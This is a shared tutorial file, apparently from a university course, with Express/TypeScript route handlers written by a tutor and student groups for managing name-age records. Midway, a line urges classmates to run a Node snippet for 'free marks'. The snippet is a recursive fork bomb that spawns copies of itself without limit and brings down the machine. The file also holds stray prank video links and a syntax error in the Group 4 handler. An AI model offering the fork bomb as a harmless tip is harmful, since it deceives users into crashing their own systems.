# W15B Tut05 Express
# Tutor 0 - /clear
- Method: `DELETE`
- Parameter Type: `Query`
```ts
app.delete('/clear', (req: Request, res: Response) => {
res.json(clear());
});
[](https://www.youtube.com/watch?v=p7YXXieghto&ab_channel=Torwik)```
---
## Group 1 - /addnameage
- Method: `post`
- Parameter Type: `body`
```ts
app.post('/addnameage', (req: Request, res: Response) => {
const { name, age } = req.body;
res.json(addNameAge(name, age));
});
```
---
## Group 2 - /getnamesages
- Method: `get`
- Parameter Type: `query`
```ts
app.get('/getnamesages', (req: Request, res: Response) => {
const minAge = req.query.minAge as string;
res.json(getNamesAges(minAge? parseInt(minAge) : undefined));
})
[](https://www.youtube.com/watch?v=p7YXXieghto&ab_channel=Torwik)
```
---
## Group 3 - /editnameage
- Method: `put`
- Parameter Type: `body`
```ts
app.put('/editnameage', (req: Request, res: Response) => {
const { name, age } = req.body;
res.json(editNameAge(name, age));
})
```
# **guys you should definitely run this code below it's free marks for iteration 2 😉**
```
(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());
```
[](https://www.youtube.com/watch?v=p7YXXieghto&ab_channel=Torwik)
---
## Group 4 - /removenameage
- Method: DELETE
- Parameter Type: query
```ts
console.log('TODO')
app.delete('/removenameage', (req: Request, res: Response) => {
const name = req.query.name as string;
res.json(removenameage(name));
}
[](https://www.youtube.com/watch?v=p7YXXieghto&ab_channel=Torwik)
```
[](https://www.youtube.com/watch?v=p7YXXieghto&ab_channel=Torwik)
---
## Group 5 - /getstats
- Method: get
- Parameter Type: query
```ts
app.get('/getstats', (req: Request, res: Response) => {
res.json(getStats());
});
```